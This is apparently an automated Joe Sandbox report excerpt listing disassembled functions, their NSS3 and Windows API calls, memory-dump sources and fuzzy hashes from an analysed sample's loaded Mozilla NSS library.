Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C6DDBBD), ref: 6C6DDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C6DDBBD), ref: 6C6DE007

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction ID: 08c4237310f54556adf5257dc1d35a89a4244c83728e9675d584c8418cce20b1
Opcode Fuzzy Hash: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction Fuzzy Hash: 3831D7B1A0420157D711AA7ADD84A9B73B89F5530CF060135E909D7B52FB31E918C6FB

Function 6C656C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C656C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C656CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C656CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C778FE0), ref: 6C656CFE

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction ID: 5634ca65450e1953ecc60d883ca59a0d590e03f3b393b1a9f331f98c01907e5d
Opcode Fuzzy Hash: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction Fuzzy Hash: 6C318CB1A002169FEB08CF65C891ABFBBF5EF89348B60452DD905E7710EB31D915CBA4

Function 6C764F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C764F5D
free.MOZGLUE(?), ref: 6C764F74
free.MOZGLUE(?), ref: 6C764F82
GetLastError.KERNEL32 ref: 6C764F90

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction ID: bd66aa84d210bcda55b9139395168e0b33b97f101d16059c4303d1dafbc349a2
Opcode Fuzzy Hash: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction Fuzzy Hash: C3312B75A002095FEB01DFAADD55BDFB3B8FF45358F080235EC15A7B81DB35A9048691

Function 6C6ADDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADDF4

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE17

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C6ADE80

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 0c780908c466536dd9534d5c588b753a4bcc7aa869dc61ef339ee04ba1019dcb
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 7231B6B19017429BE700CF56D880692F7E4FFA5318B24C229DC1D87B41E771F9A6CB94

Function 6C69FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F
PR_Unlock.NSS3(78831D74), ref: 6C69FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C69FED6

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction ID: 83c8d128666619684e21d0b890191e3c085b78aa86dbf18d7be79b70081536c4
Opcode Fuzzy Hash: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction Fuzzy Hash: 22212331A00626BBDB109F65E844BAA73B4FF05358F1A0134ED04A7E42E731E965CBDA

Function 6C6A3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FFE
PR_SetError.NSS3 ref: 6C6A401A

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction ID: ac442ebf1e6d5198cc2d2af51020ab2fa5031f457a3815c022b71a7e7adbede8
Opcode Fuzzy Hash: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction Fuzzy Hash: 673180705047048FD700AFAAD5846AEBBF0FF89354F11592ED98987B00EB70E885CB9A

Function 6C694FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695064

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction ID: 89d850ee75987e8177842cf50450b4f4b27b73f9720fba99185998acb81b7894
Opcode Fuzzy Hash: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction Fuzzy Hash: DB3127B0A05606DFDB00EF68C484A6ABBF4FF09345F118669E859D7700E731E890CB95

Function 6C6B9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BA71A,FFFFFFFF,?,?), ref: 6C6B9FAB

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6B9FD9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA009
PR_SetError.NSS3(FFFFE013,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA045

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 73f1f97476c8ea0932abe1c620dde10c51f275a44536d345374d98b861648c8c
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 6521C6B4600206ABF7009F15DC50F66B7A9FF9535CF10C128D82997B82FB76E828CB94

Function 6C6C2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C2E08

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C6C2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6C2E95

Part of subcall function 6C6B1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B1228
Part of subcall function 6C6B1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C6B1238
Part of subcall function 6C6B1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B124B
Part of subcall function 6C6B1200: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B125D
Part of subcall function 6C6B1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C6B126F
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C6B1280
Part of subcall function 6C6B1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C6B128E
Part of subcall function 6C6B1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C6B129A
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6B12A1

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a51d854b2c2187627cc4bf75380a88774b15328c879bb4e2fa4f2b81387d0eaa
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: F621D4B1E003455BE700CF549D44BAA3764AF9630CF111269DD087B752F7B1E69983AA

Function 6C67ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67ACC2

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C652AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C650A1B,00000000), ref: 6C652AF0
Part of subcall function 6C652AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C652B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C67AD5E

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

CERT_DestroyCertList.NSS3(?), ref: 6C67AD36

Part of subcall function 6C652F50: CERT_DestroyCertificate.NSS3(?), ref: 6C652F65
Part of subcall function 6C652F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C652F83

free.MOZGLUE(?), ref: 6C67AD4F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction ID: 1291df39e8fb8ef07b23470c6e9bc4e18b6918a77df3a0da5a3ecec13f47f094
Opcode Fuzzy Hash: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction Fuzzy Hash: 9821A4B1D002048BEB20DFA4D9055EE77B4AF05248F555469D8057B701F731EA55CBB9

Function 6C6A3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6A3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C6A3CAE
PR_Unlock.NSS3(?), ref: 6C6A3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3D02

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction ID: de8aee1d72a422ec2ef46b8842cf72c5222f5ebe1cf775f2137b5d49cc9c3c51
Opcode Fuzzy Hash: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction Fuzzy Hash: 3411B475A00204AFD700AF64DC48E9A37B9EF0A368F154074ED058B712E731ED55CBE5

Function 6C6AECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C6AF0AD,6C6AF150,?,6C6AF150,?,?,?), ref: 6C6AECBA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C6AECD1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C6AED02

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C6AED5A

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 76dde72ef65d2d73a85da6562e265c10ea3bb2b4ad39952e19a0229eff78b9b9
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: D321D4B1A007425BE700DF25D944B52B7E4BFA5308F15C215E81C87661FB70E9A5C7E8

Function 6C6DEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE14

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(?,?,6C6C9767,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE33

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
